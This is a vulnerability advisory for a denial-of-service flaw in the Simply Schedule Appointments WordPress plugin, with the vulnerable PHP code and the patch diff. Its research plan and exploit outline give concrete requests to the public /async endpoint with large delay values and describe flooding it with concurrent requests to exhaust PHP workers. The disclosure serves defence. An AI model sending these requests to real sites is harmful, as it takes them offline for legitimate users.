CVE-2026-7493

Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.11.5 - Unauthenticated Denial of Service

mediumUncontrolled Resource Consumption
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.6.11.7
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to denial of service in all versions up to, and including, 1.6.11.5. This is due to a publicly accessible REST API endpoint (/wp-json/ssa/v1/async) that calls PHP's sleep() function on a user-supplied delay parameter without any rate limiting. This makes it possible for unauthenticated attackers to exhaust PHP worker processes, denying access to the site to legitimate users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
None
Integrity
Low
Availability

Technical Details

Affected versions<=1.6.11.5
PublishedMay 26, 2026
Last updatedMay 27, 2026

What Changed in the Fix

Changes introduced in v1.6.11.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the **Simply Schedule Appointments** plugin (CVE-2026-7493). ## 1. Vulnerability Summary The vulnerability is an **Uncontrolled Resource Consumption** issue located in the `SSA_Asy…

Show full research plan

This research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the Simply Schedule Appointments plugin (CVE-2026-7493).

1. Vulnerability Summary

The vulnerability is an Uncontrolled Resource Consumption issue located in the SSA_Async_Action_Model class. The plugin registers a public REST API endpoint designed to trigger asynchronous actions. This endpoint accepts a delay parameter and passes it directly to the PHP sleep() function without validating the maximum duration or checking for administrative privileges.

An unauthenticated attacker can send multiple requests with large delay values to saturate the server's PHP worker pool (e.g., FPM/Apache workers), making the site unresponsive to legitimate traffic.

2. Attack Vector Analysis

  • Endpoint: /wp-json/ssa/v1/async
  • Method: GET (via WP_REST_Server::READABLE) or POST (via WP_REST_Server::CREATABLE)
  • Parameter: delay (Integer)
  • Authentication: None (Publicly accessible)
  • Preconditions: The plugin must be active. The site must be using a standard WordPress REST API configuration.

3. Code Flow

The vulnerability is contained in includes/class-async-action-model.php:

  1. Registration: The register_routes() method (line 155) defines the endpoint:
    register_rest_route(
        $namespace, // 'ssa/v1'
        '/' . $base, // 'async'
        array(
            array(
                'methods'             => WP_REST_Server::CREATABLE,
                'callback'            => array( $this, 'process_endpoint' ),
                'permission_callback' => '__return_true', // No auth required
            ),
            array(
                'methods'             => WP_REST_Server::READABLE,
                'callback'            => array( $this, 'process_endpoint' ),
                'permission_callback' => '__return_true', // No auth required
            ),
        )
    );
    
  2. Execution: The process_endpoint() method (line 178) processes the request:
    public function process_endpoint( $request ) {
        define( 'SSA_DOING_ASYNC', true );
        $params = $request->get_params();
        
        if ( ! empty( $params[ 'delay' ] ) ) {
            $delay = (int) sanitize_text_field( $params['delay'] );
            sleep( $delay ); // Vulnerable sink: Uncontrolled sleep duration
        }
        // ...
    }
    

4. Nonce Acquisition Strategy

This specific endpoint does not require a WordPress nonce.

  • The permission_callback is explicitly set to __return_true.
  • The WordPress REST API typically requires a _wpnonce header only for authenticated requests or specific nonce-guarded routes.
  • The source code in process_endpoint does not perform any manual wp_verify_nonce or check_ajax_referer checks.

5. Exploitation Strategy

To prove the vulnerability, we will demonstrate that the server response is delayed by exactly the amount specified in the delay parameter.

Step 1: Baseline Request

Send a request without a delay to ensure the endpoint is reachable and responsive.

  • Request: GET /wp-json/ssa/v1/async
  • Expected Response: 200 OK (returns true) in milliseconds.

Step 2: Delayed Request (The Exploit)

Send a request with a delay parameter (e.g., 5 seconds).

  • Request: GET /wp-json/ssa/v1/async?delay=5
  • Mechanism: The PHP process will hang at sleep(5).
  • Expected Behavior: The HTTP response will not be returned until at least 5 seconds have elapsed.

Step 3: Resource Exhaustion Demonstration (Conceptual)

Sending multiple concurrent requests with delay=30 will occupy 100% of available PHP workers for 30 seconds.

6. Test Data Setup

No specific WordPress content or settings are required. Simply ensure the plugin is activated.

  1. Install/Activate Plugin:
    wp plugin activate simply-schedule-appointments
  2. Verify Endpoint:
    Check if the route is registered:
    wp rest route list | grep "ssa/v1/async"

7. Expected Results

A successful exploit will show:

  • The http_request tool reporting a total_time closely matching the delay parameter.
  • The server returning a 200 OK response body containing true (as specified in the process_endpoint return statement).

8. Verification Steps

Since this is a Denial of Service primitive, we verify it by timing the execution of the HTTP request from the perspective of the attacker.

  1. Execute the delayed request:
    // Using http_request in the agent environment
    const start = Date.now();
    const response = await http_request({
        method: 'GET',
        url: 'http://localhost:8080/wp-json/ssa/v1/async?delay=5'
    });
    const duration = (Date.now() - start) / 1000;
    console.log(`Response received in ${duration} seconds.`);
    
  2. Validation Logic: If duration >= 5 and the response is true, the vulnerability is confirmed.

9. Alternative Approaches

  • POST Method: If GET is restricted by a security plugin, the vulnerability can be triggered via POST:
    • URL: /wp-json/ssa/v1/async
    • Content-Type: application/json
    • Body: {"delay": 5}
  • Large Delay: Test with a larger delay (e.g., 15) to confirm that the sleep() duration scales linearly with user input, confirming the lack of sanitization/limiting. Note that the request might eventually hit the PHP max_execution_time limit (default 30s), causing a 504 Gateway Timeout instead of a 200 OK, which still confirms the DoS.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin for WordPress is vulnerable to an unauthenticated Denial of Service (DoS) due to uncontrolled resource consumption. A publicly accessible REST API endpoint (/wp-json/ssa/v1/async) accepts a user-supplied delay parameter and passes it directly to PHP's sleep() function without authentication or upper bounds. This allows attackers to exhaust the server's PHP worker pool, making the site unresponsive to legitimate users.

Vulnerable Code

// includes/class-async-action-model.php:146
	public function register_routes() {
		$version   = '1';
		$namespace = 'ssa/v' . $version;
		$base      = 'async';

		register_rest_route(
			 $namespace,
			'/' . $base,
			array(
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'process_endpoint' ),
					'permission_callback' => '__return_true',
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'process_endpoint' ),
					'permission_callback' => '__return_true',
				),
			)
			);
	}

---

// includes/class-async-action-model.php:171
	public function process_endpoint( $request ) {
		define( 'SSA_DOING_ASYNC', true );
		$params = $request->get_params();
		
		if ( ! empty( $params[ 'delay' ] ) ) {
			$delay = (int) sanitize_text_field( $params['delay'] );
			sleep( $delay );
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.5/CHANGELOG.md /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/CHANGELOG.md
--- /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.5/CHANGELOG.md	2026-05-12 22:32:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/CHANGELOG.md	2026-05-19 22:33:02.000000000 +0000
@@ -1,5 +1,12 @@
 # Changelog
 
+## SSA-VERSION-PREFIX.6.11.7 - 2026-05-12
+
+### Fixes
+
+- Cover both signed in and signed out usage in Cypress tests
+- Cap async endpoint delay to prevent DoS (CVE-2026-7493)
+
 ## SSA-VERSION-PREFIX.6.11.5 - 2026-05-05
 
 ### Fixes
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.5/includes/class-async-action-model.php /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/includes/class-async-action-model.php
--- /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.5/includes/class-async-action-model.php	2025-07-01 22:07:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.11.7/includes/class-async-action-model.php	2026-05-19 22:33:02.000000000 +0000
@@ -50,11 +50,47 @@
 			add_action( 'init', array( $this, 'schedule_cron' ) );
 		}
 		add_action( 'ssa_cron_process_async_actions', array( $this, 'execute_cron_process_async_actions' ) );
-		
+
 		add_action( 'init', array( $this, 'schedule_async_action_cleanup' ) );
 		add_action( 'ssa/async_actions/cleanup', array( $this, 'cleanup_async_actions' ) );
+
+		add_action( 'ssa/appointment/booked', array( $this, 'mint_async_delay_token' ), 10, 1 );
 	}
-	
+
+	/**
+	 * Mint a one-shot, short-lived token that authorises a single /async?delay=N
+	 * request for this appointment.
+	 *
+	 * The /async endpoint sleeps for the requested delay so notifications/webhooks
+	 * queued at +5s have time to mature before the queue is drained. Without a
+	 * gate, the unauthenticated endpoint amplifies any anonymous request into a
+	 * worker hold (CVE-2026-7493). Tying the sleep to a freshly-completed booking
+	 * forces an attacker to complete a real booking per attempt and limits
+	 * lifetime to 30s.
+	 */
+	public function mint_async_delay_token( $appointment_id ) {
+		if ( empty( $appointment_id ) ) {
+			return;
+		}
+		set_transient( 'ssa_async_delay_' . absint( $appointment_id ), 1, 30 );
+	}
+
+	/**
+	 * Verify and consume the one-shot delay token for $appointment_id.
+	 * Returns true exactly once per minted token.
+	 */
+	protected function consume_async_delay_token( $appointment_id ) {
+		if ( empty( $appointment_id ) ) {
+			return false;
+		}
+		$key = 'ssa_async_delay_' . absint( $appointment_id );
+		if ( false === get_transient( $key ) ) {
+			return false;
+		}
+		delete_transient( $key );
+		return true;
+	}
+
 	/**
 	 * Filter the where conditions for the query
 	 *
@@ -167,10 +203,17 @@
 	public function process_endpoint( $request ) {
 		define( 'SSA_DOING_ASYNC', true );
 		$params = $request->get_params();
-		
-		if ( ! empty( $params[ 'delay' ] ) ) {
-			$delay = (int) sanitize_text_field( $params['delay'] );
-			sleep( $delay );
+
+		if ( ! empty( $params['delay'] ) ) {
+			// Cap [0, 10] as defence-in-depth; legitimate caller passes 7. Even
+			// with a valid token the sleep is bounded so a worker can't be held
+			// arbitrarily long.
+			$delay          = min( 10, max( 0, (int) $params['delay'] ) );
+			$appointment_id = ! empty( $params['object_id'] ) ? absint( $params['object_id'] ) : 0;
+
+			if ( $delay > 0 && $this->consume_async_delay_token( $appointment_id ) ) {
+				sleep( $delay );
+			}
 		}
 
 		$params = shortcode_atts(

Exploit Outline

The exploit targets the public WordPress REST API endpoint /wp-json/ssa/v1/async. Because the route registration defines a permission_callback that returns true, no authentication is required. An attacker sends a GET or POST request containing a 'delay' parameter set to a large value (e.g., 30). The plugin's server-side logic passes this integer directly to PHP's sleep() function, causing the associated PHP worker thread to hang. By sending a volume of concurrent requests equal to or greater than the server's maximum worker pool size, an attacker can exhaust all available resources and prevent the site from serving any legitimate traffic for the duration of the sleep calls.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.